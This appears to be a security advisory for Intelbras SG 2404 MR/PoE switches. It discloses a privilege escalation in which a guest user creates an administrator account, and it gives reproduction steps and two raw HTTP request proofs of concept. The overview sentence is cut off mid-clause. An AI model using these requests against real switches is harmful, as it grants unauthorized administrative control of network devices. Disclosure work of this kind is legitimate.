80 lines (72 sloc) 4.07 KB

...

```
========================================================================================================================
# Intelbras SG 2404 MR / SG 2404 PoE switch - Privilege Escalation
# Vendor: Intelbras
# Product web page: https://www.intelbras.com.br
# Affected product version:  SG 2404 MR
#                            SG 2404 PoE
#
# Vendor description:
# -------------------
# "The SG 2404 PoE is ideal for companies that want to have a network structure
#  that supports this technology. In addition to advanced management functions,
#  its Power over Ethernet (PoE) ports allow data and power traffic over
#  the same network cable, providing power and connectivity for cameras and IP
#  phones, wireless access points, and other compatible devices. the IEEE 802.3at
#  and IEEE 802.3af standards."
#
# "The SG 2404 MR offers a number of management features that give the operator greater
# control over the network with high performance and stability. The GUI web interface
# facilitates its configuration, which can also be performed via command line console
# port (CLI). With the SG 2404 MR it is possible to monitor the devices connected via
# SNMP protocol for greater security and control of network devices, as well as to
# create Quality of Service (QoS) rules to guarantee quality of packet traffic
# prioritizing data applications, voice , video and bandwidth control."
#
# "The switch can also create Access Control Lists (ACLs) to filter out unwanted content
# on the network, and can also segment the network into up to 4,000 subnets (VLANs).
# These and other functions provide greater reliability to the operation and maximize
# network availability time "
#
# Source:    http://www.intelbras.com.br/empresarial/redes-opticas-e-cabeadas/switches/gerenciaveis/sg-2404-poe
# -------    http://www.intelbras.com.br/empresarial/redes-opticas-e-cabeadas/switches/gerenciaveis/sg-2404-mr
#
# Vulnerability overview:
# ----------------------
# ----------------------
# The SG 2404 switch web manager contains a login form to authenticate a user, and offers
# two levels of privileges: Guest user (level 0) and administator (level 1) which is specified
# on usertype parameter. An authenticated attacker which have a guest user could create an another user with
# administrative privilege, thus achieving the desired level of authorization because no further
#
# By: vesp3r (vitorespf@gmail.com)
#
=============================================================================================================================

Originally the request to add users belongs only to administrative users, but with the guest user
we can repliceted the same request to create privileged users.


Steps to reproduce the vulnerability:

1- Copy yours "guest" user cookie value to "_tid_" parameter.
2- Change the  "username" and "pwd" paramater.
3- Set usertype to 1 (administrator user)
4- After sending the request, the user "test" will be created.
5- Login with your administrative user.

Proof of Concept (SG 2404 PoE):
-------------------------------

GET /userRpm/UserManageRpm.htm?type=add&username=test&pwd=test&confirmpwd=123&usertype=1&userstatus=0&_tid_=6c347e207589e
Host: IP
User-Agent: -- SNIP --
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://ip:8081/userRpm/UserManageRpm.htm?s_userlevel=1&_tid_=6c347e207589e388
Connection: close
Upgrade-Insecure-Requests:

Proof of Concept: (SG 2404 MR)
------------------------------

GET /userRpm/UserManageRpm.htm?type=add&username=xc&pwd=123&confirmpwd=123&usertype=1&pwdmode=1&_tid_=80225c0c7c83c303 [GU
Host: IP
Upgrade-Insecure-Requests: 1
User-Agent: -- SNIP --
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://ip/userRpm/UserManageRpm.htm?s_userlevel=1&_tid_=80225c0c7c83c303
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
```